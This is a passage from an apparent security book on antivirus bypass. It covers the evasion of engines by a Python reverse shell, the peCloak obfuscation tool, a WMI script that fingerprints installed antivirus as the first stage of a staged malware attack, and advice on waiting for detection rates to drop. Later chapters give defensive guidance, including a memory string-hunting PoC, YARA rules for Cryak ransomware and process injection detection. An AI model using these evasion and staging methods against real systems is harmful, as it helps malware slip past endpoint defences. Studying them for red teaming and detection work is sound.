166 Other Antivirus Bypass Techniques
After we have compiled the preceding Python code, we execute it on an endpoint machine
to get a reverse shell, while our listener (Netcat in this case) is in listening mode on port
443:
Figure 6.18 – A netcat-based shell
Following is a screenshot of the results of VirusTotal after uploading this malicious file:
Figure 6.19 – VirusTotal's results – 9/70 detections
Antivirus bypass using a single malicious functionality 167
As can be seen, this technique succeeded in bypassing 61 antivirus detection engines that
will not detect this malicious file. The following list shows the antivirus software vendors
that did not detect our uploaded file:
• Avira (No Cloud)
• Bitdefender
• Comodo
• Check Point ZoneAlarm
• Cybereason
• Cyren
• FireEye
• Fortinet
• F-Secure
• Kaspersky
• MalwareBytes
• McAfee
• Palo Alto Networks
• Panda
• Qihoo-360
• SentinelOne (Static ML)
• Sophos
• Symantec
• Trend Micro
We do not have to write malware in Python at all; we can also use C, C++, AutoIt, and
many other languages.
However, it is important to realize that if the number of malicious functions is low, the
ability of the malware will also be limited. It is fair to assume that the permissions of the
malware will be basic, it won't have persistence, and so on.
168 Other Antivirus Bypass Techniques
The power of combining several antivirus
bypass techniques
It is important to note that, practically speaking, in order to perform bypassing on
an antivirus engine in the real world, you must use a combination of multiple bypass
techniques, not just a single one. Even if a specific technique manages to get past a static
engine, it is reasonable to assume that a dynamic and/or heuristic engine will be able
to detect the file. For example, we can use a combination of the following techniques to
achieve a full antivirus bypass:
Figure 6.20 – A combination of several techniques to bypass antivirus software in the real world
To demonstrate the concept of combining several antivirus bypass techniques, we will use
an amazing Python script named peCloak.py developed by Mike Czumak, T_V3rn1x,
and SecuritySift. This tool, as defined by the developers, is a Multi-Pass Encoder &
Heuristic Sandbox Bypass AV Evasion Tool that literally combines several antivirus bypass
techniques to bypass heuristic and static engines.
The power of combining several antivirus bypass techniques 169
The following antivirus bypass techniques are implemented in the tool:
• Encoding – To bypass the static antivirus engine.
• Heuristic bypass – Basically, the use of junk code in order to make the antivirus
believe that it is a benign executable.
• Code cave insertion – The Python script peCloak.py will insert a code cave based
on a pre-defined number of sequential null-bytes, and if true, it will insert the code
to this location. If sequential null bytes were not found, it will create a new section
in the PE file (named .NewSection by default). At the end of the code cave, there
will be a restoration of execution flow.
Let's now do a comparison between a regular payload file and one that is peCloaked.
An example of an executable before and after peCloak
After a brief explanation about the peCloak tool, let's now see an example of an executable
after it has been peCloaked.
Here is an executable file with some standard sections before the use of the tool:
Figure 6.21 – An executable before it has been peCloaked
170 Other Antivirus Bypass Techniques
In the following screenshot, the same executable file is presented but after it has been
peCloaked:
Figure 6.22 – An executable after it has been peCloaked
Notice the newly added section named .NewSec.
Now let's view the code in IDA disassembler and see where the newly added section is
called. In the following screenshot, you can see the start function that immediately
calls the sub_40B005 function, which will be the location of the newly added code cave
under the .NewSec section:
Figure 6.23 – The start of the executable's code, which calls sub_40B005
And in the following screenshot, we can see the newly added code that is under the newly
added section of .NewSec:
The power of combining several antivirus bypass techniques 171
Figure 6.24 – The code of the newly added code cave in the .NewSec section
There is much more to understand in peCloak.py; we have only demonstrated its code
caving feature and generally discussed its other features.
How does antivirus software not detect it?
The reason that antivirus software does not detect such files or executables is that antivirus
software detections are based on pre-defined patterns that can be somehow predicted by
the malware. The peCloak.py tool not only implements several interesting antivirus
bypass techniques but also makes the file or executable not predictable and thus hard to
detect by the fact that patterns change with each use of such a tool.
To summarize, you do not have to use tools such as peCloak, but you can definitely learn
a lot from it and implement your own tools in order to bypass antivirus software. Also,
learning from such tools can provide a lot of knowledge and insight for antivirus vendors
and their security analysts and more ideas on how to implement detection mechanisms
for such bypass techniques that are based on different approaches.
In the next section, we will present a table of all the antivirus software and EDR vendors
we bypassed in our research.
172 Other Antivirus Bypass Techniques
Antivirus engines that we have bypassed in
our research
The following table summarizes antivirus software we have researched and bypassed using
the bypass techniques explored in this book:
Bypassed antivirus software with proof-of-concept
Summary 173
Bypassed antivirus software without proof of concepts (uploaded to VirusTotal only)
Table 6.1 – Bypassed Antivirus
Summary
In this chapter of the book, we learned about other antivirus bypass techniques that can be
potentially used for bypassing both static and dynamic engines.
The techniques presented in the chapter were binary patching, junk code, PowerShell, and
a single malicious functionality.
In the binary patching technique, we learned the basics of reverse engineering x86
Windows-based applications and the timestomping technique that is used to manipulate
the timestamp of executable files.
174 Other Antivirus Bypass Techniques
In the junk code technique, we explained the use of if block statements, which will
subvert the antivirus detection mechanism.
In the PowerShell technique, we used the PowerShell tool to bypass the antivirus.
And in the single malicious functionality technique, we asked an important question to
better understand the antivirus detection engine perspective and answered the question
followed by a practical example.
In the next chapter, we will learn about what can we do with the antivirus bypass
techniques that we have learned so far in the book.
Further reading
We invite and encourage you to visit the proof-of-concept videos on the following
YouTube playlist at the following link: https://www.youtube.com/
playlist?list=PLSF7zXfG9c4f6o1V_RqH9Cu1vBH_tAFvW
Figure 6.25 – The YouTube channel with the Proof-of-Concept videos
Section 3:
Using Bypass
Techniques in the
Real World
In this section, we'll look at using the antivirus bypass technique approaches, tools, and
techniques we've learned about in real-world scenarios, distinguish between penetration
tests and red team operations, and understand how to practically fingerprint antivirus
software. Furthermore, we'll learn the principles, approaches, and techniques to write
secure code and to enrich antivirus detection capabilities.
This part of the book comprises the following chapters:
• Chapter 7, Antivirus Bypass Techniques in Red Team Operations
• Chapter 8, Best Practices and Recommendations
7
Antivirus Bypass
Techniques in Red
Team Operations
In this chapter, you will learn about the use of antivirus bypass techniques in the real
world, and you also will learn about the difference between penetration testing and red
teaming, along with their importance, as well as how to fingerprint antivirus software as
part of a stage-based malware attack.
After we have finished our research and found antivirus software bypass techniques in a
lab environment, we will want to transfer our use of them to the real world—for example,
in a red team operation.
In this chapter, we will explore the following topics:
• What is a red team operation?
• Bypassing antivirus software in red team operations
• Fingerprinting antivirus software
178 Antivirus Bypass Techniques in Red Team Operations
Technical requirements
Check out the following video to see the code in action: https://bit.ly/3xm90DF
What is a red team operation?
Before we understand what a red team is and what its sole purpose is, it is important to
first understand what a penetration test is—or in its shorter form, a pentest.
A pentest is a controlled and targeted attack on specific organizational assets. For
instance, if an organization releases a new feature in its mobile application, the
organization will want to check the security of the application and consider other aspects
such as regulatory interests before the new feature is implemented into their production
environment.
Of course, penetration tests are not just conducted on mobile applications but also on
websites, network infrastructure, and more.
The main goal of a penetration test is to test an organization's assets to find as many
vulnerabilities as possible. In a penetration test, practical exploitation followed by Proof
of Concept (PoC) proves that an organization is vulnerable, and thus its integrity and
information security can be impacted. At the end of a penetration test, a report must be
written that will include each of the found vulnerabilities, prioritized by its relevant risk
severity—from low to critical—and this will then be sent to the client.
It is also important to note that the goal of penetration testing is not to find newly
undisclosed vulnerabilities, as this is done in vulnerability research projects.
In a red team, the goal is different—when a company wants to conduct a red team
operation, the company will want to know whether they could be exposed to intrusions,
whether this is through a vulnerability found in one of their publicly exposed servers,
through social engineering attacks, or even as a result of a security breach by someone
impersonating some third-party provider and inserting a Universal Serial Bus (USB)
stick that is pre-installed with some fancy malware. In a red team operation, important
and sensitive data is extracted, only this is done legally.
A real red team does not include any limitations.
Now that we understand what a red team is, let's discuss about bypassing antivirus
software in red team operations.
Bypassing antivirus software in red team operations 179
Bypassing antivirus software in red team
operations
There are a lot of advantages to bypassing antivirus software in your professional journey
when performing red team operations. In order to use this valuable knowledge, you will
need to understand on which endpoint you are going to perform the bypass, using various
techniques.
When performing red team operations on a company, one of the primary goals is to
extract sensitive information from an organization. To do this, we will need to receive
some type of access to the organization. For instance, if the organization uses Microsoft
365, extraction of information may be accomplished by using a simple phishing page
for company employees, connecting to one of the employees' user accounts, and stealing
information already located in the cloud.
But that is not always the case. Nowadays, companies still store their internal information
in their Local Area Network (LAN)—for example, within Server Message Block (SMB)
servers—and we as hackers must deal with this and adapt the hacking technique to the
case at hand.
When we compromise an endpoint and try to infiltrate it with malicious software, most
of the time we do not know which antivirus software is running on the endpoint. Since
we do not know which antivirus software is implemented in the targeted organization
endpoints, we do not know which technique to use either, as a technique that works
to bypass a particular antivirus software will probably not work when trying to bypass
another. That is why we need to perform antivirus fingerprinting on the endpoint.
Before we infiltrate the endpoint with malicious software, we need to infiltrate with
different software, which will constitute the first stage of our attack, as illustrated in the
following diagram:
Figure 7.1 – The two stages of antivirus bypass in a red team operation
180 Antivirus Bypass Techniques in Red Team Operations
The purpose of the first stage of the malware attack is to perform identification and to
inform us which antivirus software is installed on the victim endpoint. Earlier, during
the lead-gathering stage, we saw that antivirus software adds registry values and services,
creates folders with the antivirus software name, and more. So, we are taking advantage of
precisely this functionality in order to determine which antivirus software is operating on
the victim's system.
Now that we have got a sense and understanding of a penetration test and a red team, we
can now proceed to the next part, where we will learn to fingerprint antivirus software in
target Windows-based endpoints.
Fingerprinting antivirus software
Antivirus fingerprinting is a process of searching and identifying antivirus software in a
target endpoint based on identifiable constants, such as the following:
• Service names
• Process names
• Domain names
• Registry keys
• Filesystem artifacts
The following table will help you perform fingerprinting of antivirus software on the
endpoint by the service and process names of the antivirus software:
Fingerprinting antivirus software 181
Table 7.1 – Antivirus processes and services
182 Antivirus Bypass Techniques in Red Team Operations
Note
You do not have to rely only on process and service names—you can also rely
on registry names, and more. We recommend that you visit the Antivirus-
Artifacts project at https://github.com/D3VI5H4/Antivirus-
Artifacts to find out more about this.
We can perform fingerprinting on a simple Python script, for instance, which will monitor
all processes running on the operating system and compare predetermined strings.
For example, let's look at the following simple and elegant code:
import wmi
print("Antivirus Bypass Techniques by Nir Yehoshua and Uriel
Kosayev")
Proc = wmi.WMI()
AV_Check = ("MsMpEng.exe", "AdAwareService.exe", "afwServ.
exe", "avguard.exe", "AVGSvc.exe", "bdagent.
exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.
exe", "GDScan.exe", "avp.exe", "K7CrvSvc.exe", "McAPExe.
exe", "NortonSecurity.exe", "PavFnSvr.exe", "SavService.
exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.
exe")
for process in Proc.Win32_Process():
if process.Name in AV_Check:
print(f"{process.ProcessId} {process.Name}")
As you can see, using the preceding Python code, we can determine which antivirus
software is actually running on a victim endpoint by utilizing Windows Management
Instrumentation (WMI). With this knowledge of which antivirus software is actually
deployed in the targeted victim endpoint, as well as knowledge of the gathered research
leads, we can then download the next-stage malware that is already implemented with our
antivirus bypass and anti-analysis techniques.
To compile this script, we will use pyinstaller with the following command:
pyinstaller --onefile "Antivirus Fingerprinting.py"
In the following screenshot, we can see that the script detects the Microsoft Defender
antivirus software on the endpoint by its process name:
Fingerprinting antivirus software 183
Figure 7.2 – Executing Antivirus Fingerprinting.exe
In the following screenshot, you can see the results from VirusTotal, which show that in
fact, six different antivirus engines detected our legitimate software as a malicious one:
Figure 7.3 – VirusTotal's detection rate of 6/64 antivirus engines
It is important to mention the name of the signatures that triggered the detections in each
one of these antivirus engines. These are listed here:
1. Trojan.PWS.Agent!m7rD4I82OUM
2. Trojan:Win32/Wacatac.B!ml
3. Trojan.Disco.Script.104
These detections are, in fact, false positives.
184 Antivirus Bypass Techniques in Red Team Operations
In addition, Microsoft Defender also detected our software as malware, and the
demonstration itself was conducted on one of our endpoints that was pre-installed with
the Microsoft Defender antivirus software.
It is important to understand that the detection rate in each uploaded sample in
VirusTotal changes after clicking on the Reanalyze file button. In the following
screenshot, you can see the same file, after almost 3 months since the first submission:
Figure 7.4 – VirusTotal's detection rate of 1/64 antivirus engines
Tip
After writing antivirus bypass custom-made code and being sure that the
antivirus software detects it as a false positive, try to wait some time and you
will most likely see a drop in the detection rate.
Many malware authors and threat actors use this technique to identify which antivirus
software is installed on the victim endpoint in order to apply the relevant bypass
technique. The following is a great example of malware that does just that:
Fingerprinting antivirus software 185
Figure 7.5 – An IDA Pro view, a malware that enumerates antivirus process names
The malware enumerates process names such as V3SP.EXE, SPIDERAGENT.EXE, and
EKRN.EXE, which relate to AhnLab, Dr.Web, and ESET antivirus vendors, respectively.
186 Antivirus Bypass Techniques in Red Team Operations
Tip
Antivirus software can also be detected based on other artifacts that can be
found on the targeted system by enumerating services, registry keys, open
mutex values, files and folders in the filesystem, and more.
Summary
In this chapter, we learned how to reveal which antivirus software is installed on an
endpoint by using a WMI process enumeration technique and looked at the importance
of adapting your antivirus bypass techniques to specific antivirus software. There are
innumerable ways to implement a red team operation that includes antivirus software
fingerprinting and antivirus bypass.
The Python code that we have used in this chapter was actually a small part of our stage-
based malware attack that we used in one of our red team operations conducted on our
clients legally.
In the next chapter, we will learn how antivirus vendors can improve most antivirus
engines in order to prevent antivirus bypass.
8
Best Practices and
Recommendations
In this chapter, we will explain what the antivirus software engineers did wrong, why
the antivirus bypass techniques worked, and how to make antivirus software better with
secure coding and other security tips.
Now that we have explained and shown examples of the three most basic vulnerabilities
that can be used for antivirus bypass, as well as having presented the 10 bypass techniques
we have used in our own research, this chapter will outline our recommendations.
It is important to be aware that not all antivirus bypass techniques have a solution, and
it is impossible to create the "perfect product." Otherwise, every single company would
use it and malware would not exist, which is why we have not offered solutions for every
bypass technique.
In this chapter, you will gain a fundamental understanding of secure coding tips and some
other tips to detect malware based on several techniques.
188 Best Practices and Recommendations
This chapter will be divided into three sections:
• Avoiding antivirus bypass dedicated vulnerabilities – three ways to remediate the
most basic vulnerabilities of several antivirus engines in research that can be used to
bypass antivirus software.
• Improving antivirus detection – three techniques to identify the most used antivirus
bypass techniques we have mentioned in this book.
• Secure coding recommendations – nine of our most basic recommendations in
terms of how to write secure code, with an emphasis on antivirus.
Technical requirements
• Knowledge of the C or C++ programming languages
• Basic security research knowledge
• Basic knowledge of processes and threads
• An understanding of Windows API functions
• An understanding of YARA
• An understanding of log-based data such as Windows event logs
Throughout the book, we have presented and based our antivirus bypass techniques on
the following two approaches:
• Vulnerability-based bypass
• Detection-based bypass
Our main goal in this book is to stop and mitigate these bypass techniques by
demonstrating them and offering mitigations for them. In the following section, you will
learn how to avoid antivirus bypass that is based on dedicated vulnerabilities.
Check out the following video to see the code in action: https://bit.ly/3wqF6OD
Avoiding antivirus bypass dedicated vulnerabilities 189
Avoiding antivirus bypass dedicated
vulnerabilities
In this section, you will learn how to prevent the vulnerabilities we presented in Chapter 3,
Antivirus Research Approaches.
How to avoid the DLL hijacking vulnerability
To mitigate DLL hijacking attacks, the caller process needs to use a proper mechanism
to validate the loaded DLL module not only by its name but also by its certificate
and signature.
Also, the loading process (like the antivirus software) can, for example, calculate the hash
value of the loaded DLL and check if it is the legitimate, intended DLL that is to be loaded,
using Windows API functions such as LoadLibraryEx followed by the validation of
specific paths to be loaded from, rather than the regular LoadLibrary, which simply
loads a DLL by a name that attackers can easily mimic.
In other words, the LoadLibraryEx function has the capability of validating a loaded
DLL file by its signature, by specifying the flag of LOAD_LIBRARY_REQUIRE_SIGNED_
TARGET (0x00000080), in the function parameter of dwFlags.
Finally, it must load DLLs using fully qualified paths. For example, if the antivirus needs to
load a DLL such as Kernel32.DLL, it should load it not simply by its name but using the
full path of the DLL:
C:\\Windows\\System32\\Kernel32.dll
Here, we can see the Malwarebytes antivirus software, which uses LoadLibraryEx()
and identifies it when we attempt to replace one DLL with another:
Figure 8.1 – A failed attempt of DLL hijacking
190 Best Practices and Recommendations
In the preceding screenshot, you can see a failed attempt at loading an arbitrary DLL to
the mbam.exe process.
In the following screenshot, you can see the use of LoadLibraryExW in Malwarebytes's
mbam.exe process, which prevents the loading of arbitrary DLL files:
Figure 8.2 – The use of LoadLibraryExW in mbam.exe
Let's now go into avoiding the next dedicated vulnerability that can be used to bypass
antivirus software – Unquoted Service Path.
How to avoid the Unquoted Service Path vulnerability
The solution is simply to wrap quotation marks around the executable path of the service.
This will prevent potentially fatal crashes of your antivirus software and will prevent
potential bypasses, escalation of privileges, and persistence on victim machines. In other
words, it's one simple solution for a problem that can have serious consequences.
The following screenshot demonstrates that the Malwarebytes service uses a path placed
within quotation marks so that it's impossible to bypass it using the unquoted service
path vulnerability:
Figure 8.3 – Quoted service path in Malwarebytes
The next screenshot demonstrates that the REVE antivirus product is susceptible to the
Unquoted Service Path vulnerability since its paths do not use quotation marks:
Figure 8.4 – Multiple Unquoted Service Path in REVE antivirus software
Avoiding antivirus bypass dedicated vulnerabilities 191
Usually, this basic vulnerability will exist in small antivirus vendors that need to provide
some level of security to the end user, but in practice, these antivirus products can be
bypassed using this vulnerability, thus making the end user susceptible to attacks.
In the following screenshot, you can see that the Max Antivirus is vulnerable to Unquoted
Service Path in four different paths:
Figure 8.5 – Multiple Unquoted Service Path in Max Secure Total Security antivirus software
Now that we have an idea how to avoid the Unquoted service path vulnerability, let's learn
how to avoid buffer overflow vulnerabilities.
How to avoid buffer overflow vulnerabilities
Following is a list of practices, capabilities, and features that can be used to prevent buffer
overflow vulnerabilities.
Memory boundary validation
Validate memory boundaries and use more secure functions such as strcpy_s() and
strcat_s() that provide memory boundary checks by default.
Stack canaries
Use stack canaries to validate execution flow before returning from a function. This is a
good practice, but keep in mind that it can also be bypassed.
Data Execution Prevention (DEP)
This will prevent the stack from being an executable one so malicious code will not have
the permission to execute itself. This does not fully prevent buffer overflow, but definitely
makes exploiting this vulnerability harder for attackers.
Address Space Layout Randomization (ASLR)
This is yet another strategy to make exploiting this vulnerability harder for adversaries
because, as the name suggests, ASLR randomizes the address space in the operating
system, making it tougher to exploit buffer overflow vulnerabilities, for example, those
based on Return Oriented Programming (ROP) chains.
192 Best Practices and Recommendations
Reverse engineering and fuzzing
This strategy involves entering the mind of an attacker to try to break your own antivirus
software. To do this, you can reverse engineer its components, gaining an understanding
of its inner workings. Using fuzzing tools, you may be able to derive interesting
information that you might not be able to discover using secure coding practices, or even
SAST (Static Application Security Testing) and DAST (Dynamic Application Security
Testing) practices followed by automation.
However, in all cases, keep in mind that all of these security strategies can be bypassed.
The adversarial mind is highly motivated, intelligent, and adaptive and learns very quickly.
Think like them and you can defeat them.
Now that we understand how to mitigate some of the vulnerability-based bypasses in
antivirus software, let's continue to understand how to improve antivirus detection.
Improving antivirus detection
In this section, we will discuss how to strengthen the detection of antivirus software in
order to make the antivirus software more reliable using the dynamic YARA concept, the
detection of process injection attempts, and more.
Dynamic YARA
As mentioned in Chapter 5, Bypassing the Static Engine, YARA is an easy-to-use,
straightforward, yet effective tool to hunt for malicious patterns in files. It can not only be
used on files but also to hunt for malicious strings, functions, and opcodes at the memory
level. The yarascan volatility plugin makes practical use of "dynamic" YARA to scan
for potentially malicious strings and code at the memory level, or in practical terms, on a
dumped memory snapshot.
We believe that all antivirus vendors should implement this strategy (if they have not
already) as part of their detection engines.
Why this capability is helpful
The dynamic YARA strategy gives your antivirus detection engine the ability to hunt
and detect strings, assembly instructions, functions, and more at the runtime memory
level using pre-written or customized YARA rules. This capability can be very helpful in
detecting malicious patterns in processes, loaded drivers, DLLs, and more.
However, the most important thing about this capability is that it allows the engine to
detect malware after it has deobfuscated, unpacked, and decrypted at the memory level.
Improving antivirus detection 193
Hunting for malicious strings – proof of concept
To better understand this concept, we built a simple C/C++ Proof of Concept (PoC)
program that demonstrates this potential capability, running on the Windows operating
system, without the actual use of YARA, just using a simple string comparison.
We believe that similar code, in a more robust form than what we created, can be
implemented alongside YARA in antivirus detection engines. The following is the PoC
code that demonstrates the building blocks of this concept (https://github.com/
MalFuzzer/Code_for_Fun/blob/master/MalHunt/string_hunt%20
with%20CreateToolhelp32Snapshot.cpp).
First, we import some important libraries using the #include directive. These libraries
include functions that are needed to get our proof of concept up and running:
#include <Windows.h>
#include <iostream>
#include <vector>
#include <Tlhelp32.h>
Here are brief explanations of each library used:
• Windows.h – C/C++ header file that contains declarations for all of the Windows
API functions
• iostream – Standard input/output stream library
• vector – Array that stores object references
• Tlhelp32.h – C/C++ header file that contains functions such as
CreateToolhelp32Snapshot, Process32First, Process32Next,
and more
These includes and functions will provide us with the capabilities of using different
Windows API functions, providing input and output, defining object reference arrays,
and getting a current snapshot of all running processes.
Let's start from the beginning, with the main() function:
int main()
{
const char yara[] = "malware"; // It's not an actual YARA
rule, it's only a variable name
std::vector<DWORD> pids = EnumProcs();
194 Best Practices and Recommendations
for (size_t i = 0; i < pids.size(); i++)
{
char* ret = GetAddressOfData(pids[i], yara,
sizeof(yara));
if(ret)
{
std::cout << "Malicious pattern found at: " <<
(void*)ret << "\n";
TerminateProcessEx(pids[i], 0);
continue;
}
}
return 0;
}
The first lines in the main() function define the designated malicious strings or patterns
to look for and call a function named EnumProcs(), which, as its name suggests, will
enumerate all of the current running processes using Windows API functions, as we will
explain later.
Next, we cycle through a for loop of process identifiers (PIDs), checking for each one
whether the return value includes our malicious string or pattern (defined using the string
constant yara). If the string or pattern is present, the program will raise an alert and
terminate the malicious process by calling the TerminateProcessEx() Windows API
function with the PID of the malicious process.
Now, let's dive into the EnumProc() function in order to understand how it actually
enumerates all of the currently running processes on the system:
std::vector<DWORD> EnumProcs()
{
std::vector<DWORD> pids;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_
SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE)
{
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &pe32))
{
do
Improving antivirus detection 195
{
pids.push_back(pe32.th32ProcessID);
} while (Process32Next(snapshot, &pe32));
}
CloseHandle(snapshot);
}
return pids;
}
As seen in the preceding code block, the function is defined as a DWORD vector array to
hold all of the returned PID numbers of the processes in an array.
Then, the CreateToolhelp32Snapshot Windows API function takes a "snapshot"
of all the current running processes in the operating system and, for each process, other
significant accompanying data such as modules, heaps, and more.
Next, the Process32First function retrieves the first encountered process in the
system, followed by the Process32Next function. Both of these functions retrieve the
PID number of the system processes from the initial snapshot. After retrieving all running
Windows processes, it is time to retrieve significant data from their memory.
Now, let's dive into the GetAddressOfData() function in order to understand how it
reads the memory content of each enumerated process:
char* GetAddressOfData(DWORD pid, const char *data, size_t len)
{
HANDLE process = OpenProcess(PROCESS_VM_READ | PROCESS_
QUERY_INFORMATION, FALSE, pid);
if(process)
{
SYSTEM_INFO si;
GetSystemInfo(&si);
MEMORY_BASIC_INFORMATION info;
std::vector<char> chunk;
char* p = 0;
while(p < si.lpMaximumApplicationAddress)
{
if(VirtualQueryEx(process, p, &info, sizeof(info))
== sizeof(info))
196 Best Practices and Recommendations
{
p = (char*)info.BaseAddress;
chunk.resize(info.RegionSize);
SIZE_T bytesRead;
if(ReadProcessMemory(process, p, &chunk[0],
info.RegionSize, &bytesRead))
{
for(size_t i = 0; i < (bytesRead - len);
++i)
{
if(memcmp(data, &chunk[i], len) == 0)
{
return (char*)p + i;
}
}
}
p += info.RegionSize;
}
}
}
return 0;
}
The GetAddressOfData() function has three parameters: the pid parameter that
contains the enumerated PID number, the data parameter that is passed as the yara
parameter from the main() function within the for loop, and the len parameter, which
is used to calculate the number of bytes to read.
Now let's explore the important functions in this code, which are most relevant
specifically to this PoC.
First, the OpenProcess() Windows API function is used to receive a handle to the
current scanned process by its PID.
Improving antivirus detection 197
Next, the VirtualQueryEx() Windows API function retrieves the virtual memory
address space ranges to scan for the current scanned process. For each queried memory
address range, we read the content of the memory using the ReadProcessMemory()
Windows API function to then compare using the memcmp() function and check
whether our malicious string or pattern exists in the memory address range of the
currently scanned process.
This process repeats until it finishes scanning all processes retrieved in the initial snapshot.
We believe that this strategy can add a lot of value to antivirus detection engines because
YARA signatures are so easy to use and maintain, both by the antivirus vendor and by the
infosec community.
The PoC we have included here just demonstrates the tip of the iceberg. There is much
work still to be done in our field through the efforts of professional security researchers
and software developers contributing their expertise for the benefit of the community.
The detection of process injection
As discussed in Chapter 4, Bypassing the Dynamic Engine, malware often uses process
injection techniques to hide its presence in an attempt to evade antivirus software. The
most important point at which to detect process injection is when the malware starts to
load in the system and before the injected code is executed.
Here is a list of possible detection mechanisms that can be used to detect process
injection-based attacks.
Static-based detection
Having discussed YARA as a great added-value tool to detect malicious software statically
and dynamically at the memory level, let's now see how we can detect process injection by
Windows API calls and even relevant opcodes.
We will base our example and detailed explanation on ransomware dubbed Cryak that
actually facilitates the process injection technique of process hollowing to further infect
victim machines.
198 Best Practices and Recommendations
First and foremost, we can seek common Windows API function calls that are commonly
used to conduct process injection, Windows API functions such as OpenProcess,
VirtualAlloc, WriteProcessMemory, and more. In this case, the Cryak
ransomware facilitates the process injection technique of process hollowing using the
following Windows API functions:
• CreateProcessA with the parameter of dwCreationFlags, which equals 4
(CREATE_SUSPENDED):
Figure 8.6 – Process hollowing – Create Process within a suspended state
• ReadProcessMemory to check whether the destined injected memory region
is already injected and NtUnmapViewOfSection to hollow a section in the
suspended created process:
Improving antivirus detection 199
Figure 8.7 – Process hollowing – the use of NtUnmapOfSection
• VirtualAllocEx to allocate a new region of memory:
Figure 8.8 – Process hollowing – the use of VirtualAllocEx
200 Best Practices and Recommendations
• WriteProcessMemory to inject the malicious code into the allocated memory in
the suspended process:
Figure 8.9 – Process hollowing – the use of WriteProcessMemory
• SetThreadContext and ResumeThread to resume execution of the thread in
the created process, thus making the injected code execute in the created process:
Figure 8.10 – Process hollowing – the use of SetThreadContext and ResumeThread
At this stage of execution, the injected malicious content is executed in the newly spawned
process, as previously explained in the book.
Improving antivirus detection 201
To detect this and other process injection techniques using YARA signatures, we can use
the names of used Windows API calls with some assembly opcodes.
Following is an example of the YARA signature that we have created in order to detect the
Cryak ransomware sample:
private rule PE_Delphi
{
meta:
description = "Delphi Compiled File Format"
strings:
$mz_header = "MZP"
condition:
$mz_header at 0
}
rule Cryak_Strings
{
meta:
description = "Cryak Ransomware"
hash = "eae72d803bf67df22526f50fc7ab84d838efb2865c27ae
f1a61592b1c520d144"
classification = "Ransomware"
wrote_by = "Uriel Kosayev – The Art of Antivirus
Bypass"
date = "14.01.2021"
strings:
$a1 = "Successfully encrypted" nocase
$a2 = "Encryption in process" nocase
$a3 = "Encrypt 1.3.1.1.vis (compatible with 1.3.1.0
decryptor)"
//$ransom_note = ""
condition:
filesize < 600KB and PE_Delphi and 1 of ($a*)
202 Best Practices and Recommendations
}
rule Cryak_Code_Injection
{
meta:
description = "Cryak Ransomware Process Injection"
hash = "eae72d803bf67df22526f50fc7ab84d838efb2865c27ae
f1a61592b1c520d144"
classification = "Ransomware"
wrote_by = "Uriel Kosayev"
date = "14.01.2021"
strings:
$inject1 = {6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 8B 45
F8 E8 C9 9B FA FF 50 6A 00 E8 ED B8 FA FF 85 C0 0F 84 A9 02 00
00} // CreateProcess in a Suspended State (Flag 4)
$inject2 = {50 8B 45 C4 50 E8 29 FD FF FF 85 C0 75 1D}
// NtUnmapViewOfSection
$winapi1 = "OpenProcess"
$winapi2 = "VirtualAlloc"
$winapi3 = "WriteProcessMemory"
$hollow1 = "NtUnmapViewOfSection"
$hollow2 = "ZwUnmapViewOfSection"
condition:
Cryak_Strings and 1 of ($hollow*) and all of ($winapi*) and
all of ($inject*)
}
Let's now explain the different parts of this signature, which includes one private rule and
two other regular rules.
Improving antivirus detection 203
The private rule PE_Delphi is a simple rule to detect Delphi-compiled executables
based on the "MZP" ASCII strings (or 0x4D5A50 in hex) as can be seen in the
following screenshot:
Figure 8.11 – An executable file compiled with Delphi with the "MZP" header
Next, the YARA rule of Cryak_Strings, as the name suggests, will look for hardcoded
strings in the ransomware sample. You will also notice that we have used the condition
of filesize < 600KB to instruct YARA to scan only files that are less than 600 KB
and also, to scan files that have only the "MZP" ASCII strings in the offset of 0 (which is
achieved by using the private rule of PE_Delphi).
Finally, we have the Cryak_Code_Injection rule that first scans for the strings based
on the first rule of Cryak_Strings, then YARA scans for the relevant Windows API
function used in order to conduct process injection, and also some opcodes that are
extracted from the ransomware sample using IDA Pro.
To extract opcodes or any other hex values from IDA, you first need to highlight the
relevant extracted code as in the following screenshot:
Figure 8.12 – Subroutine code to be extracted in an opcode/hex representation
204 Best Practices and Recommendations
Then, press the Shift + E keys to extract the opcodes/hex values:
Figure 8.13 – The extracted opcode/hex representation of the subroutine
And finally, you can take the opcodes and implement them as part of the YARA signature
using the following syntax:
$variable_name = {Hex values}
You can integrate the hex code in regular or spaced format.
Let's now go and understand the concept of flow-based detection.
Improving antivirus detection 205
Flow-based detection
As discussed in previous chapters, process injection involves executing four general steps:
1. Receive a handle to the targeted process
2. Allocate memory in the targeted process memory space
3. Inject (write) the malicious payload into the allocated memory space
4. Execute the injected malicious payload in the targeted process
By understanding the preceding applied flow, antivirus detection engines can dynamically
and heuristically intercept suspicious function calls (not only based on Windows API
functions), identifying parameters used in each function, and checking their order or flow
of execution.
For example, if a malicious injector process initiates a process injection technique
such as process hollowing, an antivirus engine can detect it based on the flow of used
Windows API functions (refer to our process injection poster in Chapter 4, Bypassing the
Dynamic Engine), the use of specific parameters such as the creation flag of "CREATE_
SUSPENDED" in the CreateProcess function, then the use of an unmapping
mechanism such as ZwUnmapViewOfSection or NtUnmapViewOfSection, the
allocation of memory using VirtualAllocEx, WriteProcessMemory, and finally,
the use of the ResumeThread function.
Log-based detection
The detection of process injection can be also be done based on log or system events such
as Windows event logs. By implementing capabilities such as Sysmon (System Monitor)
in the Windows operating system, antivirus engines can achieve more detections of
process injection attempts.
For those not already familiar with Sysmon, it is a Windows system service and device
driver that extends the log collection capability far beyond Windows' default event
logging. It is widely used for detection purposes by Security Operations Center (SOC)
systems and by incident responders. Sysmon provides event logging capabilities for
events such as process creation, the execution of PowerShell commands, executed process
injection, and more. Each event has a unique event ID that can also be collected by
various security agents and SIEM collectors.
Specifically, with process injection, many event IDs can be used and cross-referenced to
achieve the detection of process injection.
206 Best Practices and Recommendations
For instance, event ID 8 can be used to detect process injection by flagging any incident in
which a process creates a thread in another process. However, further research needs to be
conducted in this area to achieve the most holistic detection based on logs.
Registry-based detection
Malware tends to not only inject its code (shellcode, exe, dll, and so on) but also to
persist in the system. One of the common ways to accomplish this is through the use of
registry keys. Malware can incubate or persist in the system using the following registry
keys, for example:
